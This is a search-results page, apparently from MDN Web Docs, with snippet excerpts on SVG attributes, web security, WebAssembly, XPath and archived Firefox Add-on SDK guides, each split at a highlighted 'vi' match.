as a presentation attribute, it can be applied to any element but it has noticeable effects mostly on the following nineteen elements: <a>, <circle>, <clippath>, <ellipse>, <g>, <glyph>, <image>, <line>, <marker>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <svg>, <symbol>, <text>, <use> html,body,svg { height:100% } <svg
viewbox="0 0 20 20" xmlns="http://www.w3.org/2000/svg"> <clippath id="myclip" clippathunits="objectboundingbox"> <circle cx=".5" cy=".5" r=".5" /> </clippath> <!-- top-left: apply a custom defined clipping path --> <rect x="1" y="1" width="8" height="8" stroke="green" clip-path="url(#myclip)" /> <!-- top-right: apply a css basic shape on a fill-box geometry.
... this is the same as ha
ving a custom clipping path with a clippathunits set to objectboundingbox --> <rect x="11" y="1" width="8" height="8" stroke="green" clip-path="circle() fill-box" /> <!-- bottom-left --> <rect x="1" y="11" width="8" height="8" stroke="green" clip-path="circle() stroke-box" /> <!-- bottom-right: apply a css basic shape on a
view-box geometry.
... this is the same as ha
ving a custom clipping path with a clippathunits set to userspaceonuse --> <rect x="11" y="11" width="8" height="8" stroke="green" clip-path="circle()
view-box" /> </svg> usage notes value <url> | [ <basic-shape> || <geometry-box> ] | none default value none animatable yes <geometry-box> an extra information to tell how a <basic-shape> is applied to an element: fill-box indicates to use the object bounding box; stroke-box indicates to use the object bounding box extended with the stroke;
view-box indicates to use the nearest svg
viewport as the reference box.
...And 2 more matches
clip - SVG: Scalable Vector Graphics
the clip attribute is a presentation attribute defining the
visible region of an element.
...the value of auto defines a clipping path along the bounds of the
viewport created by the given element.
... as a presentation attribute, it can be applied to any element but it has effect only on the following six elements: <svg>, <symbol>, <image>, <foreignobject>, <pattern>, <marker> html,body,svg { height:100% } <svg
viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- auto clipping --> <svg x="0" width="10" height="10" clip="auto"> <circle cx="5" cy="5" r="4" stroke="green" /> </svg> <!-- rect(top, right, bottom, left) clipping --> <svg x="10" width="10" height="10" clip="rect(1, 9, 8, 2)"> <circle cx="5" cy="5" r="4" stroke="green" /> </svg> </svg> usage notes warning: this property is deprecated.
...And 2 more matches
in - SVG: Scalable Vector Graphics
the value can be either one of the six keywords defined below, or a string which matches a pre
vious result attribute value within the same <filter> element.
... if no value is pro
vided and this is the first filter primitive, then this filter primitive will use sourcegraphic as its input.
... if no value is pro
vided and this is a subsequent filter primitive, then this filter primitive will use the result from the pre
vious filter primitive as its input.
...And 2 more matches
pointer-events - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- the circle will always intercept the mouse event.
... to change the color of the rect underneath you have to click outside the circle --> <rect x="0" y="0" height="10" width="10" fill="black" /> <circle cx="5" cy="5" r="4" fill="white" pointer-events="
visiblepoint" /> <!-- the circle below will never catch a mouse event.
... as a presentation attribute, it can be applied to any element but it is mostly relevant only on the following twenty-three elements: <a>, <circle>, <clippath>, <defs>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <marker>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, <use> usage notes value bounding-box |
visiblepainted |
visiblefill |
visiblestroke |
visible | painted | fill | stroke | all | none default value
visiblepainted animatable yes for a detailed explanation of each possible value, have a look at the css pointer-events documentation.
...And 2 more matches
shape-rendering - SVG: Scalable Vector Graphics
the shape-rendering attribute pro
vides hints to the renderer about what tradeoffs to make when rendering shapes like paths, circles, or rectangles.
... as a presentation attribute, it can be applied to any element but it has effect only on the following seven elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <circle cx="100" cy="100" r="100" shape-rendering="geometricprecision"/> <circle cx="320" cy="100" r="100" shape-rendering="crispedges"/> </svg> usage notes value auto | optimizespeed | crispedges | geometricprecision default value auto animatable yes auto this value indicates that the user agent shall make appropriate tradeoffs to balance speed, crisp edges and geom...
...also, the user agent might adjust line positions and line widths to align edges with de
vice pixels.
...And 2 more matches
stroke-dashoffset - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following twelve elements: <altglyph>, <circle>, <ellipse>, <path>, <line>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg
viewbox="-3 0 33 10" xmlns="http://www.w3.org/2000/svg"> <!-- no dash array --> <line x1="0" y1="1" x2="30" y2="1" stroke="black" /> <!-- no dash offset --> <line x1="0" y1="3" x2="30" y2="3" stroke="black" stroke-dasharray="3 1" /> <!-- the start of the dash array computation is pulled by 3 user units --> <line x1="0" y1="5" x2="30" y2="5" stroke="black" stroke...
...-dasharray="3 1" stroke-dashoffset="3" /> <!-- the start of the dash array computation is pushed by 3 user units --> <line x1="0" y1="7" x2="30" y2="7" stroke="black" stroke-dasharray="3 1" stroke-dashoffset="-3" /> <!-- the start of the dash array computation is pulled by 1 user units which ends up in the same rendering as the pre
vious example --> <line x1="0" y1="9" x2="30" y2="9" stroke="black" stroke-dasharray="3 1" stroke-dashoffset="1" /> <!-- the following red lines highlight the offset of the dash array for each line --> <path d="m0,5 h-3 m0,7 h3 m0,9 h-1" stroke="rgba(255,0,0,.5)" /> </svg> usage notes value <percentage> | <length> default value 0 animatable yes ...
... the offset is usually expressed in user units resolved against the pathlength but if a <percentage> is used, the value is resolved as a percentage of the current
viewport.
...And 2 more matches
textLength - SVG: Scalable Vector Graphics
by using textlength, you can ensure that your svg text displays at the same width regardless of conditions including web fonts failing to load (or not ha
ving loaded yet).
... four elements are using this attribute: <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg
viewbox="0 0 200 60" xmlns="http://www.w3.org/2000/svg"> <text y="20" textlength="6em">small text length</text> <text y="40" textlength="120%">big text length</text> </svg> usage notes value <length-percentage> | <number> default value none animatable yes <length-percentage> this value specifies the width of the space the text will be adjusted to occupy as absolute length or percentage.
... <svg width="10cm" height="3cm"
viewbox="0 0 1000 300" xmlns="http://www.w3.org/2000/svg"> <rect x="1" y="1" width="998" height="298" fill="none" stroke="green" stroke-width="2"/> <text id="hello" x="10" y="150" font-family="sans-serif" font-size="60" fill="green"> hello world!
...And 2 more matches
<clipPath> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 100 100"> <clippath id="myclip"> <!-- everything outside the circle will be clipped and therefore in
visible.
... --> <circle cx="40" cy="35" r="35" /> </clippath> <!-- the original black heart, for reference --> <path id="heart" d="m10,30 a20,20,0,0,1,50,30 a20,20,0,0,1,90,30 q90,60,50,90 q10,60,10,30 z" /> <!-- only the portion of the red heart inside the clip circle is
visible.
...*/ @keyframes openyourheart {from {r: 0} to {r: 60px}} #myclip circle { animation: openyourheart 15s infinite; } a clipping path is conceptually equivalent to a custom
viewport for the referencing element.
...And 2 more matches
<desc> - SVG: Scalable Vector Graphics
the <desc> element pro
vides an accessible, long-text description of any svg container element or graphics element.
...if the element can be described by
visible text, it is possible to reference that text with the aria-describedby attribute.
... the hidden text of a <desc> element can also be concatenated with the
visible text of other elements using multiple ids in an aria-describedby value.
...And 2 more matches
Example - SVG: Scalable Vector Graphics
combined, we get this very natural-looking beha
vior.
...
view the example <?xml version='1.0'?> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <head> <title>a swarm of motes</title> <style type='text/css'> <![cdata[ label, input { width: 150px; display: block; float: left; margin-bottom: 10px; } label { text-align: right; width: 75px; padding-right: 20px; } br { clear: left; } ]]> </style> </head> <body onload='update()'> <svg:svg id='display' width='400' height='300'> <svg:circle id='cursor' cx='200' cy='150' r='7' fill='#0000ff' fill-opacity='0.5'/> </svg:svg> <p>a swarm of motes, gove...
... first, each mote tries to move towards the cursor, and second each mote tries to move away from the average mote position. combined, we get this very natural looking beha
vior.
...And 2 more matches
Basic Transformations - SVG: Scalable Vector Graphics
« pre
viousnext » now we're ready to start distorting our beautiful images.
...to combine several transformations, one can set the resulting matrix directly with the matrix(a, b, c, d, e, f) transformation which maps coordinates from a pre
vious coordinate system into a new coordinate system by {xnewcoordsys=axprevcoordsys+cyprevcoordsys+eynewcoordsys=bxprevcoordsys+dyprevcoordsys+f\left{ \begin{matrix} x_{\mathrm{prevcoordsys}} = a x_{\mathrm{newcoordsys}} + c y_{\mathrm{newcoordsys}} + e \\ y_{\mathrm{prevcoordsys}} = b x_{\mathrm{newcoordsys}} + d y_{\mathrm{newcoordsys}} + f \end{matrix} \right.
...this way you can also simply create new coordinate systems by utilizing the
viewbox, width and height of the inner svg element.
...And 2 more matches
SVG In HTML Introduction - SVG: Scalable Vector Graphics
over
view this article and its associated example shows how to use inline svg to pro
vide a background picture for a form.
...pt> </head> <body id="body" style="position:absolute; z-index:0; border:1px solid black; left:5%; top:5%; width:90%; height:90%;"> <form> <fieldset> <legend>html form</legend> <p><label>enter something:</label> <input type="text"> <span id="err">incorrect value!</span></p> <p><input type="button" value="activate!" onclick="signalerror();"></p> </fieldset> </form> <svg
viewbox="0 0 100 100" preserveaspectratio="xmidymid slice" style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:-1;"> <lineargradient id="gradient"> <stop class="begin" offset="0%"/> <stop class="end" offset="100%"/> </lineargradient> <rect x="0" y="0" width="100" height="100" style="fill:url(#gradient)" /> <circle cx="50" cy="50" r="30" style="fill:url(#gradie...
...like in the following example: var img = document.createelementns("http://www.w3.org/2000/svg", "image"); img.setattributens("http://www.w3.org/1999/xlink", "xlink:href", "move.png"); details the
viewbox attribute establishes a logical coordinate system which the svg picture's coordinates are relative to.
...And 2 more matches
SVG fonts - SVG: Scalable Vector Graphics
« pre
viousnext » when svg was specified, support for web fonts was not widespread in browsers.
... since accessing the correct font file is however crucial for rendering text correctly, a font description technology was added to svg to pro
vide this ability.
...other tools however like the adobe svg
viewer plugin, batik and parts of inkscape support svg font embedding.
...And 2 more matches
Tools for SVG - SVG: Scalable Vector Graphics
« pre
vious now that we covered the basics of the svg internals, we will take a look at some tools to work with svg files.
...mobile de
vices with webkit-based browsers also support svg.
... on older or smaller de
vices, chances are that svg tiny is supported.
...And 2 more matches
SVG: Scalable Vector Graphics
svg images and their related beha
viors are defined in xml text files, which means they can be searched, indexed, scripted, and compressed.
...
view all...
... community
view mozilla forums...
...And 2 more matches
Referer header: privacy and security concerns - Web security
this article describes them, and offers ad
vice on mitigating those risks.
... the referrer problem the referer (sic) header contains the address of the pre
vious web page from which a link to the currently requested page was followed, which has lots of fairly innocent uses including analytics, logging, or optimized caching.
... you should use post rather than get wherever possible, to avoid passing sensitive data to other locations
via urls.
...And 2 more matches
How to turn off form autocompletion - Web security
this means that the criterion can be passed (by adding the relevant autocomplete attributes to indi
vidual form fields) even when autocompletion for the form itself has been turned off.
...when the user
visits the site again, the browser autofills the login fields with the stored values.
... for this reason, many modern browsers do not support autocomplete="off" for login fields: if a site sets autocomplete="off" for a <form>, and the form includes username and password input fields, then the browser still offers to remember this login, and if the user agrees, the browser will autofill those fields the next time the user
visits the page.
...And 2 more matches
Securing your site - Web security
this article offers an assortment of suggestions, as well as links to other articles pro
viding more useful information.
... user information security how to turn off form autocompletion form fields support autocompletion in gecko; that is, their values can be remembered and automatically brought back the next time the user
visits your site.
... privacy and the :
visited selector this article discusses changes made to the getcomputedstyle() method that eliminates the ability for malicious sites to figure out the user's browsing history.
...And 2 more matches
Using templates and slots - Web Components
let's look at a tri
vial quick example: <template id="my-paragraph"> <p>my paragraph</p> </template> this won't appear in your page until you grab a reference to it with javascript and then append it to the dom, using something like the following: let template = document.getelementbyid('my-paragraph'); let templatecontent = template.content; document.body.appendchild(templatecontent); although tri
vial, you can al...
... so, if we want to add a slot into our tri
vial example, we could update our template's paragraph element like this: <p><slot name="my-text">my default text</slot></p> if the slot's content isn't defined when the element is included in the markup, or if the browser doesn't support slots, <my-paragraph> just contains the fallback content "my default text".
... and that's it for our tri
vial example.
...And 2 more matches
Index - XPath
it uses a non-xml syntax to pro
vide a flexible way of addressing (pointing to) different parts of an xml document.
...this axis can be abbre
viated with the at sign (@).
...it can be abbre
viated as two periods (..).
...And 2 more matches
XPath
it uses a non-xml syntax to pro
vide a flexible way of addressing (pointing to) different parts of an xml document.
... xpath is mainly used in xslt, but can also be used as a much more powerful way of na
vigating through the dom of any xml-like language document using xpathexpression, such as html and svg, instead of relying on the document.getelementbyid() or parentnode.queryselectorall() methods, the node.childnodes properties, and other dom core features.
... xpath uses a path notation (as in urls) for na
vigating through the hierarchical structure of an xml document.
...And 2 more matches
Exported WebAssembly functions - WebAssembly
when you call them, you get some acti
vity in the background to convert the arguments into types that wasm can work with (for example converting javascript numbers to int32), the arguments are passed to the function inside your wasm module, the function is invoked, and the result is converted and passed back to javascript.
... by accessing a function exported from a wasm module instance
via instance.exports.
... from a javascript point of
view, it's as if every wasm function is a javascript function too — but they are encapsulated by the exported wasm function object instance and there are only limited ways to access them.
...And 2 more matches
Compiling from Rust to WebAssembly - WebAssembly
rust en
vironment setup let's go through all the required steps to get our en
vironment set up.
...na
vigate to wherever you keep your personal projects, and type this: $ cargo new --lib hello-wasm created library `hello-wasm` project this creates a new library in a subdirectory named hello-wasm with everything you need to get going: +-- cargo.toml +-- src +-- lib.rs first, we have cargo.toml; this is the file that we use to configure our build.
... wasm-pack uses wasm-bindgen, another tool, to pro
vide a bridge between the types of javascript and rust.
...And 2 more matches
Converting WebAssembly text format to wasm - WebAssembly
text format let’s look at a simple example of this — the following program imports a function called imported_func from a module called imports, and exports a function called exported_func: (module (func $i (import "imports" "imported_func") (param i32)) (func (export "exported_func") i32.const 42 call $i ) ) the webassembly function exported_func is exported for use in our en
vironment (e.g.
...when it is called, it calls an imported javascript function called imported_func, which is run with the value (42) pro
vided as a parameter.
...to do this, we can use the wabt tool, which includes compilers to convert between webassembly’s text representation and wasm, and
vice versa, plus more besides.
...And 2 more matches
port - Archive of obsolete content
the port object pro
vides message sending and recei
ving api enabling conversations between a content script and the main add-on code.
... each end of the conversation has access to a port: the content script
via the global self property, and the main add-on code
via a worker object associated with the sdk module you've used to attach the content script, such as page-mod or page-worker.
... for an over
view of content scripts, see the main article.
... due to bug 816272 the page-mod's removelistener() function does not prevent the listener from recei
ving messages that are already queued.
self - Archive of obsolete content
self pro
vides: access to the options object access to the port object access to a mostly deprecated messaging api for an over
view of content scripts, see the main article.
... note that the self object in content scripts is completely different from the self module, which pro
vides an api for an add-on to access its data files and id.
... self properties options content-scripting apis such as tab.attach(), page-mod, and page-worker let you pass read-only data to the content script as a json object
via the contentscriptoptions option.
... this is an older api than the api pro
vided by port, and for most purposes the port api is a better choice.
Private Properties - Archive of obsolete content
using weakmaps the techniques above are either not restrictive enough (prefixes) or too restrictive (closures), however the recent introduction of weakmaps pro
vides a solution.
... from weakmap to namespace in the pre
vious section, a separate weakmap was used to associate each private property with an object.
...since xpcom allows the user to do
virtually anything, security is very important.
...as always with code that is hea
vily reused, the sdk defines a helper function to create namespaces.
Porting the Library Detector - Archive of obsolete content
r.js')), onattach: function(worker) { worker.on('message', function(librarylist) { if (!worker.tab.libraries) { worker.tab.libraries = []; } librarylist.foreach(function(library) { if (worker.tab.libraries.indexof(library) == -1) { worker.tab.libraries.push(library); } }); if (worker.tab == tabs.activetab) { updatewidget
view(worker.tab); } }); } }); the content script is executed once for every window.onload event, so it will run multiple times when a single page containing multiple iframes is loaded.
...the widget must be able to display different content for different windows, so we'll use the widget
view object.
... main.js will create an array of icons corresponding to the array of library names, and use that to build the widget's html content dynamically: function buildwidget
viewcontent(librarylist) { widgetcontent = htmlcontentpreamble; librarylist.foreach(function(library) { widgetcontent += buildiconhtml(icons[library.name], library.name + "<br>version: " + library.version); }); widgetcontent += htmlcontentpostamble; return widgetcontent; } function updatewidget
view(tab) { var widget
view = widget.get
view(tab.window); if (!tab.libraries) { tab.libraries = []; } widget
view.content = buildwidget
viewcontent(tab.libraries); widget
view.width = tab.libraries.length * icon_width; } main.js will use the tabs module to update the widget's content when necessa...
...ry (for example, when the user switches between tabs): tabs.on('activate', function(tab) { updatewidget
view(tab); }); tabs.on('ready', function(tab) { tab.libraries = []; }); showing the library detail the xul library detector displayed the detailed information about each library on mouseover in a tooltip: we can't do this using a widget, so instead will use a panel.
SDK API Lifecycle - Archive of obsolete content
it has two main components: a stability index that defines how stable each module is a deprecation process that defines when and how stable sdk apis can be changed or removed from future versions of the sdk while gi
ving developers enough time to update their code.
...you can try it out and pro
vide feedback, but we may change or remove it in future versions without ha
ving to pass through a formal deprecation process.
...the sdk will continue to pro
vide warnings: api documentation will inform users that the module is deprecated.
... the amo validator will throw errors when deprecated modules are used, and these add-ons will therefore fail amo re
view.
Working with Events - Archive of obsolete content
so there are two main ways you will interact with the eventemitter framework: listening to built-in events emitted by objects in the sdk, such as tabs opening, pages loading, mouse clicks sending and recei
ving user-defined events between content scripts and add-on code this guide only covers the first of these; the second is explained in the working with content scripts guide.
...the listener loads https://developer.mozilla.org/: require("sdk/ui/button/action").actionbutton({ id: "
visit-mozilla", label: "
visit mozilla", icon: "./icon-16.png", onclick: function() { require("sdk/tabs").open("https://developer.mozilla.org/"); } }); this is exactly equivalent to constructing the button and then calling the button's on() method: var button = require("sdk/ui/button/action").actionbutton({ id: "
visit-mozilla", label: "
visit mozilla", icon: "./icon-16.png" }); b...
...utton.on("click", function() { require("sdk/tabs").open("https://developer.mozilla.org/"); }); remo
ving event listeners event listeners can be removed by calling removelistener(type, listener), supplying the type of event and the listener to remove.
... the listener must have been pre
viously been added using one of the methods described above.
Guides - Archive of obsolete content
contributor's guide getting started learn how to contribute to the sdk: getting the code, opening/taking a bug, filing a patch, getting re
views, and getting help.
... classes and inheritance learn how classes and inheritance can be implemented in javascript, using constructors and prototypes, and about the helper functions pro
vided by the sdk to simplify this.
... content processes the sdk was designed to work in an en
vironment where the code to manipulate web content runs in a different process from the main add-on code.
... content scripts guide an over
view of content scripts, including: what they are, what they can do, how to load them, how to communicate with them.
addon-page - Archive of obsolete content
create a page that does not contain na
vigational elements.
... for pages like this, na
vigational elements such as the awesome bar, search bar, or bookmarks toolbar are not usually relevant and distract from the content you are presenting.
... the addon-page module pro
vides a simple way to have a page which excludes these elements.
...after this, the page loaded from "data/index.html" will not contain na
vigational elements: var addontab = require("sdk/addon-page"); var data = require("sdk/self").data; require("sdk/tabs").open(data.url("index.html")); this only affects the page at "data/index.html": all other pages are displayed normally.
High-Level APIs - Archive of obsolete content
addon-page create a page that does not contain na
vigational elements.
... page-worker create a permanent, in
visible page and access its dom.
... system query the add-on's en
vironment and access arguments passed to it.
... ui pro
vides access to button, toolbar, and sidebar ui objects.
io/file - Archive of obsolete content
experimental pro
vides access to the local filesystem.
...unfortunately this api does not currently pro
vide a way to obtain an absolute base path which you could then use with join.
... for now, you need to require("chrome") and use the xpcom directory ser
vice as described in this article about file i/o.
... open(path, mode) returns a stream pro
viding access to the contents of a file.
places/history - Archive of obsolete content
example let { search } = require("sdk/places/history"); // simple query search( { url: "https://developers.mozilla.org/*" }, { sort: "
visitcount" } ).on("end", function (results) { // results is an array of objects containing // data about
visits to any site on developers.mozilla.org // ordered by
visit count }); // complex query // the query objects are or'd together // let's say we want to retrieve all
visits from before a week ago // with the query of 'ruby', but from last week onwards, we want // all results with 'javas...
...// we'd compose the query with the following options let lastweek = date.now - (1000*60*60*24*7); search( // first query looks for all entries before last week with 'ruby' [{ query: "ruby", to: lastweek }, // second query searches all entries after last week with 'javascript' { query: "javascript", from: lastweek }], // we want to order chronologically by
visit date { sort: "date" } ).on("end", function (results) { // results is an array of objects containing
visit data, // sorted by
visit date, with all entries from more than a week ago // that contain 'ruby', *in addition to* entries from this last week // that contain 'javascript' }); globals functions search(queries, options) queries can be performed on history entries by passing in on...
...possible options are 'title', 'date', 'url', '
visitcount', 'keyword', 'dateadded' and 'lastmodified'.
...data events are emitted for every indi
vidual search result found, whereas end events are emitted as an aggregate of an entire search, passing in an array of all results into the handler.
remote/child - Archive of obsolete content
it pro
vides two main things: access to web content loaded into this child process port mechanisms to communicate with the main process interacting with web content to interact with web content, the sdk/remote/child module pro
vides a frames property that's a list of all content frames loaded into this child process.
... removeeventlistener removes an event listener that was pre
viously registered.
... frame a frame represents a content frame in this process and pro
vides a way to communicate frame specific events to the main process.
... removeeventlistener(event, listener, iscapturing) removes an event listener that was pre
viously registered.
stylesheet/style - Archive of obsolete content
globals constructors style(options) the style constructor creates an object that represents style modifications
via stylesheet file(s) or/and css rules.
...those rules are applied after the rules in the stylesheet specified with uri options, if pro
vided.
...if not pro
vided, the default value is "author".
...if no type is pro
vided in constructor's option, it returns the default value, "author".
ui/button/action - Archive of obsolete content
if you specify multiple icons, firefox will select the best-fitting icon based on the de
vice screen resolution and the place the icon appears.
... id: "my-button2", label: "my button2", icon: "./firefox-16.png" }); var button3 = actionbutton({ id: "my-button3", label: "my button3", icon: { "16" : "./firefox-16.png", "32" : "./firefox-32.png", "64" : "./firefox-64.png" } }); if you use the final form, firefox will automatically choose the best-fit icon for your button, depending on the de
vice screen resolution and where the button is in the ui.
... on a de
vice with a "normal" screen resolution, the toolbar has space for 18 x 18 pixels and the menu panel has space for 32 x 32 pixels.
...the reason for using this, rather than setting properties indi
vidually, is that you can define an object with the properties to set in one place, then apply it to the global state with a single line: const defaultstate = { "label": "default label", "icon": "./default.png", } const differentstate = { "label": "different label", "icon": "./different.png", } var { actionbutton } = require("sdk/ui/button/action"); var button = actionbutton({ id: "d...
ui/toolbar - Archive of obsolete content
unlike a panel, a toolbar: does not overlap with any web content is persistent, remaining
visible until the user chooses to close it is a fixed size, and appears in a fixed location usage creating and destroying toolbars you don't specify toolbar content directly: instead, you create other ui components and supply them to the toolbar constructor.
...u can supply three sorts of ui components: action buttons toggle buttons frames this add-on builds part of the user interface for a music player using action buttons for the controls and a frame to display art and the currently playing song: var { actionbutton } = require('sdk/ui/button/action'); var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var pre
vious = actionbutton({ id: "pre
vious", label: "pre
vious", icon: "./icons/pre
vious.png" }); var next = actionbutton({ id: "next", label: "next", icon: "./icons/next.png" }); var play = actionbutton({ id: "play", label: "play", icon: "./icons/play.png" }); var frame = new frame({ url: "./frame-player.html" }); var toolbar = toolbar({ title: "player", items: [pre
vious, next,...
...toolbars get a close button at the right-hand side, and users can show or hide the toolbar using the firefox "
view/toolbars" menu, alongside built-in toolbars like the bookmarks toolbar.
...after calling this function, the toolbar will no longer be
visible and its menu item will no longer appear in the firefox "toolbars" menu.
Canvas code snippets - Archive of obsolete content
function getpixelcolour(canvas, x, y) { var cx = canvas.getcontext('2d'); var pixel = cx.getimagedata(x, y, 1, 1); return { r: pixel.data[0], g: pixel.data[1], b: pixel.data[2], a: pixel.data[3] }; } chaining methods this class pro
vides jquery-style chained access to 2d context methods and properties.
...s'); // use context to get access to underlying context var ctx = canvas2dcontext(canvas) .strokestyle('rgb(30, 110, 210)') .transform(10, 3, 4, 5, 1, 0) .strokerect(2, 10, 15, 20) .context; // use property name as a function (but without arguments) to get the value var strokestyle = canvas2dcontext(canvas) .strokestyle('rgb(50, 110, 210)') .strokestyle(); code usable only from pri
vileged code these snippets are only useful from pri
vileged code, such as extensions or pri
vileged apps.
... sa
ving a canvas image to a file the following function accepts a canvas object and a destination file path string.
... function() { this.url = 'http://developer.mozilla.org'; }; remotecanvas.canvas_width = 300; remotecanvas.canvas_height = 300; remotecanvas.prototype.load = function() { var windowwidth = window.innerwidth - 25; var iframe; iframe = document.createelement('iframe'); iframe.id = 'test-iframe'; iframe.height = '10px'; iframe.width = windowwidth + 'px'; iframe.style.
visibility = 'hidden'; iframe.src = this.url; // here is where the magic happens...
Dialogs and Prompts - Archive of obsolete content
the possible values for the attribute are the names of buttons listed above, and the default is "accept", for compatibility with pre
vious versions.
... displaying the standard "open file"/"save file"/"select folder" dialogs nsifilepicker prompts and the prompt ser
vice now that you understand dialogs, let's examine prompts.
... nsipromptser
vice is an xpcom interface available to c++ and chrome javascript code (not to web pages' js), that pro
vides methods for displaying a few simple types of dialogs.
... links nsipromptser
vice open and save dialogs see also alerts and notifications ...
Downloading Files - Archive of obsolete content
components.utils.import("resource://gre/modules/privatebrowsingutils.jsm"); const webbrowserpersist = components.constructor("@mozilla.org/embedding/browser/nswebbrowserpersist;1", "nsiwebbrowserpersist"); var persist = webbrowserpersist(); var targetfile = ser
vices.dirsvc.get("desk", ci.nsifile); targetfile.append("file.bin"); // obtain the privacy context of the browser window that the url // we are downloading comes from.
...es with a progress listener to download a binary file with custom progress listener: components.utils.import("resource://gre/modules/privatebrowsingutils.jsm"); const webbrowserpersist = components.constructor("@mozilla.org/embedding/browser/nswebbrowserpersist;1", "nsiwebbrowserpersist"); var persist = webbrowserpersist(); var targetfile = ser
vices.dirsvc.get("desk", ci.nsifile); targetfile.append("file.bin"); var obj_uri = ser
vices.io.newuri(aurltodownload, null, null); // obtain the privacy context of the browser window that the url // we are downloading comes from.
... function getimagefromurl(url) { var ioserv = components.classes["@mozilla.org/network/io-ser
vice;1"] .getser
vice(components.interfaces.nsiioser
vice); var channel = ioserv.newchannel(url, 0, null); var stream = channel.open(); if (channel instanceof components.interfaces.nsihttpchannel && channel.responsestatus != 200) { return ""; } var bstream = components.classes["@mozilla.org/binaryinputstream;1"] .createinstance(components.interfaces.nsibi...
...naryinputstream); bstream.setinputstream(stream); var size = 0; var file_data = ""; while(size = bstream.available()) { file_data += bstream.readbytes(size); } return file_data; } see also nsidownloadprogresslistener sa
ving an arbitrary url to a local file customizing the download progress bar appearance ...
Forms related code snippets - Archive of obsolete content
date picker (before implementing it in a working en
vironment, please read the note about the const statement compatibility) <!doctype html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>datepicker example - mdn</title> <script type="text/javascript"> /*\ |*| |*| datepicker example mdndeveloper network |*| |*| https://developer.mozilla.org/docs/code_snippets/forms |*| https://developer.mozilla.org/user:fusionchess |*| |*| this snippet is released under the gnu public license, version 3 or later.
...it is not supported in internet explorer 6-9, or in the pre
view of internet explorer 10.
... image pre
view before upload the filereader.prototype.readasdataurl() method can be useful, for example, to get a pre
view of an image before uploading it.[article] this example shows how to use it in this way.
...for a full compatibility code you can see our crossbrowser possible solution for image pre
view.
Rosetta - Archive of obsolete content
nevertheless, the increasing computational power of modern browsers together with the introduction of typed arrays in ecmascript allow us, in theory, to build full
virtual machines in pure ecmascript.
... for a fast over
view on the code proposed here you can git clone https://github.com/madmurphy/rosetta.js, or, at your choice, directly download this .zip file.
...|*| http://www.gnu.org/licenses/gpl-3.0.html |*| |*| syntax: |*| |*| rosetta.appendcompiler([ "text/x-csrc", "text/x-c" ], yourcompiler); |*| \*/ var rosetta = new (function () { function createscript (oscript, oxhr200) { var smimetype = oscript.getattribute("type").tolowercase(), obaton = document.createcomment(" the pre
vious code has been automatically translated from \"" + smimetype + "\" to \"text/ecmascript\".
...the pre
vious example shows a possible solution for all these cases, from the simplest to the hardest one.
URI parsing - Archive of obsolete content
it's ad
vised that you use the nsieffectivetldser
vice.
... grabbing the main domain using the effectivetldser
vice even using the etldser
vice, you're unable to get just the base domain sans tld.
... so, here's some sample code to determine the base domain without any suffixes: var etldser
vice = components.classes["@mozilla.org/network/effective-tld-ser
vice;1"].
... getser
vice(components.interfaces.nsieffectivetldser
vice); var suffix = etldser
vice.getpublicsuffix(auri); var basedomain = etldser
vice.getbasedomain(auri); // this includes the tld basedomain = basedomain.substr(0, (basedomain.length - suffix.length - 1)); // - 1 to remove the period before the tld ...
Extension Packaging - Archive of obsolete content
extensions are packaged in a form of installable bundle which can be downloaded and installed by a user, or pro
vided pre-packaged with an application or by an external program.
... extensions use a directory structure which can pro
vide chrome, components, and other files to extend the functionality of an xul program.
... every extension must pro
vide an install.rdf file, which contains metadata about the extension, such as its unique id, version, author, and compatibility information.
...add-ons packaged in this way will not be
visible to the user.
Extension Etiquette - Archive of obsolete content
the icons makes the extension lighter, while pro
viding more consistency, especially for users using different themes.
... call .noconflict(true) where applicable many common libraries which create global variables pro
vide a method called noconflict, or similar, which revert any global variables they've declared, and return the object itself.
...make sure your extension's homepage states the "ob
vious," including the purpose of your extension.
... internationalization locales always use locale dtds and property files, even if pro
viding your extension in one language.
Inline options - Archive of obsolete content
the user interface for the preferences defined with this new syntax appears in the extension's detail
view in the add-on manager.
... <setting pref="extensions.throbberrestored.showtxtontoolbar" title="show text on toolbar button" type="bool" oninputchanged="alert('new value is = ' + this.value); this.style.backgroundcolor='red';"> if labels on other toolbar buttons are
visible (like by using add-on "classic theme restorer") then show label on throbber toolbar button </setting> note in order for the oninputchanged to execute, the setting must have a pref attribute, otherwise the oninputchanged will not trigger.
...for example: var observer = { observe: function(asubject, atopic, adata) { if (atopic == "addon-options-displayed" && adata == "my_addon@my_domain") { var doc = asubject; var control = doc.getelementbyid("myaddon-pref-control"); control.value = "test"; } } }; ser
vices.obs.addobserver(observer, "addon-options-displayed", false); // don't forget to remove your observer when your add-on is shut down.
...the optionstype as 2: <em:optionsurl>chrome://myaddon/content/name_of_my_file_to_use_for_inline_opts.xul</em:optionsurl> <em:optionstype>2</em:optionstype> your chrome.manifest file should contain the following, otherwise the path chrome://myaddon/content/name_of_my_file_to_use_for_inline_opts.xul will not exist content myaddon ./ this method allows you to maintain compatibility with pre
vious versions of firefox by adding an override to your chrome.manifest: ...
Using Dependent Libraries In Extension Components - Archive of obsolete content
extensions with binary components sometimes need to depend on other shared libraries (for example, libraries pro
vided by a third party).
... the firefox extension system does not pro
vide automatic support for loading these dependent libraries, but it is possible to load these libraries explicitly using a component stub.
